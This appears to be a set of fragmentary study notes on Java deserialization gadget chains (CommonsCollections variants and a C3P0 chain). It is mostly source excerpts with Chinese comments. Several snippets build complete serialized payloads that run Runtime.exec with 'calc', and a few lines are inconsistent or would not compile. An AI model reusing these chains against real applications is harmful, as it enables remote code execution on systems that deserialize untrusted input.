invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:98, CommonsCollections1 (ysoserial.payloads)

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {

public @interface Retention {  // @interface 表示该自定义接口继承 java.lang.Annotation 接口

AnnotationType annotationType = AnnotationType.getInstance(type);

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);  // 做了判断
    if (memberType != null) {  // i.e. member still exists
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
            memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                    annotationType.members().get(name)));
        }
    }
}

Native、Inherited、Documented	这些空接口就被排除在外了

SuppressWarnings、Target、Repeatable 和 Retention

AnnotationType annotationType = AnnotationType.getInstance(type);

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);  // 做了判断
    if (memberType != null) {  // i.e. member still exists
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
            memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                    annotationType.members().get(name)));
        }
    }
}

/**
 * Indicates how long annotations with the annotated type are to be retained.
 * If no Retention annotation is present on an annotation type declaration,
 * the retention policy defaults to {@code RetentionPolicy.CLASS}.
 *
 * <p>A Retention meta-annotation has effect only if the
 * meta-annotated type is used directly for annotation.  It has no
 * effect if the meta-annotated type is used as a member type in
 * another annotation type.
 *
 * @author  Joshua Bloch
 * @since 1.5
 * @jls 9.6.3.2 @Retention
 */
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
    /**
     * Returns the retention policy.
     * @return the retention policy
     */
    RetentionPolicy value();
}

public class AnnotationType {
    /**
     * Member name -> type mapping. Note that primitive types
     * are represented by the class objects for the corresponding wrapper
     * types.  This matches the return value that must be used for a
     * dynamic proxy, allowing for a simple isInstance test.
     */
    private final Map<String, Class<?>> memberTypes;  // 函数名到返回值类型的映射
    
    /**
     * Returns an AnnotationType instance for the specified annotation type.
     *
     * @throw IllegalArgumentException if the specified class object for
     *     does not represent a valid annotation type
     */
    public static AnnotationType getInstance(Class<? extends Annotation> annotationClass) {
        JavaLangAccess jla = sun.misc.SharedSecrets.getJavaLangAccess();
        AnnotationType result = jla.getAnnotationType(annotationClass); // volatile read
        if (result == null) {
            result = new AnnotationType(annotationClass);
            // try to CAS the AnnotationType: null -> result
            if (!jla.casAnnotationType(annotationClass, null, result)) {
                // somebody was quicker -> read it's result
                result = jla.getAnnotationType(annotationClass);
                assert result != null;
            }
        }

        return result;
    }
    
    /**
     * Returns member types for this annotation type
     * (member name -> type mapping).
     */
    public Map<String, Class<?>> memberTypes() {
        return memberTypes;
    }
}

// Map outerMap = TransformedMap.decorate(innerMap, chainedTransformer, null);
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

// AbstractInputCheckedMapDecorator.java
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
    super(set);
    this.parent = parent;
}

public Set entrySet() {
    if (isSetValueChecking()) {  // 如果 valueTransformer != null，才走这条分支
        return new EntrySet(map.entrySet(), this);  // AbstractInputCheckedMapDecorator.EntrySet
    } else {
        return map.entrySet();  // 直接返回 HashMap 的值，最终调用的自然是 HashMap 中的 SetValue
    }
}

// TransformedMap.java
/**
 * Override to transform the value when using <code>setValue</code>.
 * 
 * @param value  the value to transform
 * @return the transformed value
 * @since Commons Collections 3.1
 */
protected boolean isSetValueChecking() {
    return (valueTransformer != null);
}

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    /** The factory to use to construct elements */
    protected final Transformer factory;
    
    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);  // 关键
            map.put(key, value);
            return value;
        }
        return map.get(key);  // 有缓存
    }
}

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

outerMap.get("233");  // 只要 key 不存在即可

readObject(in) {
    obj = in.readObject();
    obj.get("233");
}

public class BadAttributeValueExpException extends Exception   {    
    private Object val;
    
	private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();  // 关键行
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
}

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private final Map map;
    private final Object key;
    
    public Object getKey() {
        return key;
    }

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);  // get！RCE
    }
    
    public String toString() {
        return getKey() + "=" + getValue();  // LazyMap 的 get 操作来了
    }
}

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "233");

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "233");

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);

// exception.val = tiedMapEntry
Field declaredField = exception.class.getDeclaredField("val");
declaredField.setAccessible(true);
declaredField.set(exception, tiedMapEntry);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload"));
oos.writeObject(exception);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload"));
ois.readObject();
ois.close();

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private final Map map;
    private final Object key;
    
    public Object getKey() {
        return key;
    }

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);  // get!
    }
    
    public int hashCode() {
        Object value = getValue();  // getValue!
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
}

HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

HashMap.readObject()
HashMap.putVal()
HashMap.hash()
TiedMapEntry.hashCode()

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "233");

HashMap map = new HashMap<>();
map.put(tiedMapEntry, 1);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload"));
oos.writeObject(map);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload"));
ois.readObject();
ois.close();

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)  // 不能有形参
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
            case "toString":
                return toStringImpl();
            case "hashCode":
                return hashCodeImpl();
            case "annotationType":
                return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);  // 这里调用了 get 方法

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }
}

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

// outerMap.get("233");  // call calc

// 反射构造函数进行实例化
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Target.class, outerMap);

// dynamic proxy
Map proxyInstance = (Map) Proxy.newProxyInstance(
    Class.class.getClassLoader(),
    new Class[]{Map.class},
    (InvocationHandler) obj);  // 实例化 InvocationHandler

proxyMap.entrySet();  // invoke 中有限制只能调用无参函数

readObject(in) {
    obj = in.readObject();
    obj.entrySet();  // invoke 中有限制只能调用无参函数
}

switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
}

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // 这里
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name))
                    );
                }
            }
        }
    }
}

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

// outerMap.get("1");  // call calc

// 反射构造函数进行实例化
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj1 = construct.newInstance(Target.class, outerMap);

// dynamic proxy
Map proxyMap = (Map) Proxy.newProxyInstance(
    Class.class.getClassLoader(),
    new Class[]{Map.class},
    (InvocationHandler) obj1);  // 实例化 InvocationHandler

// proxyMap.entrySet();  // invoke 中有限制只能调用无参函数
// => memberValues.entrySet()
Object obj2 = construct.newInstance(Target.class, proxyMap);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload"));
oos.writeObject(obj2);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload"));
ois.readObject();
ois.close();

ObjectInputStream.readObject
    AnnotationInvocationHandler.readObject
        Map($Proxy0).entrySet
            AnnotationInvocationHandler.invoke
                LazyMap.get
                    ChainedTransformer.transform

ObjectInputStream.readObject
	AnnotationInvocationHandler.readObject
		in.defaultReadObject  // 填充 fileds
			AnnotationInvocationHandler.readObject
		Map($Proxy0).entrySet
			AnnotationInvocationHandler.invoke
			    LazyMap.get
                    ChainedTransformer.transform

PoolBackedDataSource.readObject()

PoolBackedDataSourceBase.readObject()

ReferenceIndirector$ReferenceSerialized.getObject()

InitialContext.lookup()

public class Malicious {
    public Malicious() {
        java.lang.Runtime.getRuntime().exec("calc.exe");
    }
}

hashCode
compare

命令执行：
• java.lang.reflect.Method#invoke
• javax.naming.Context#lookup
• javax.naming.Context#bind
• java.lang.Runtime#exec
• java.lang.ProcessBuilder#ProcessBuilder
文件读取：
• java.sql.Driver#connect MySQL客户端任意文件读取
• org.xml.sax.XMLReader#parse
• javax.xml.parsers.SAXParser#parse
• javax.xml.parsers.DocumentBuilder#parse